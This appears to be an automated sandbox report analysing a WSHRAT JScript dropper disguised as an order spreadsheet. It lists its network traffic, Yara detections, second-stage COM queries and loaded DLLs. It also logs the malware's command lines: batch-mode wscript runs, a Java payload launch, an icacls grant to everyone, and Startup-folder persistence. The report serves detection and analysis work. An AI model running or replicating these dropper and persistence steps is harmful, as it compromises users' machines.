Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50298 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected WSHRAT

Source: Yara match	File source: amsi64_7436.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7580.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8108.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8156.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742267547.00000296C005A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018966417.00000134E0C5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2975088577.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018985859.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737403220.000002890EC5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024564022.000001F2ACADA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731617996.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737294096.000002890EBB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1735824367.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2020882585.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024584613.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021378874.00000134E0B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024426072.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2973699666.00000296BFD98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1741594797.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975324132.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731869784.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018761492.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2974480890.00000296C1FD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021244896.00000134E0A92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387894883.000001F2AC9C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742746443.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731838543.000002890EB0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2973698231.000001F2AC8E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8156, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen
Source: 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen
Source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR	Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC32E	4_3_154BC32E

Source: 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator
Source: 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator
Source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR	Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@19/10@16/6

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ours[1].js

Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\ELMAMV.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER-24171200967.XLS..js

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\word.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\BDl.jar"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\word.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\BDl.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
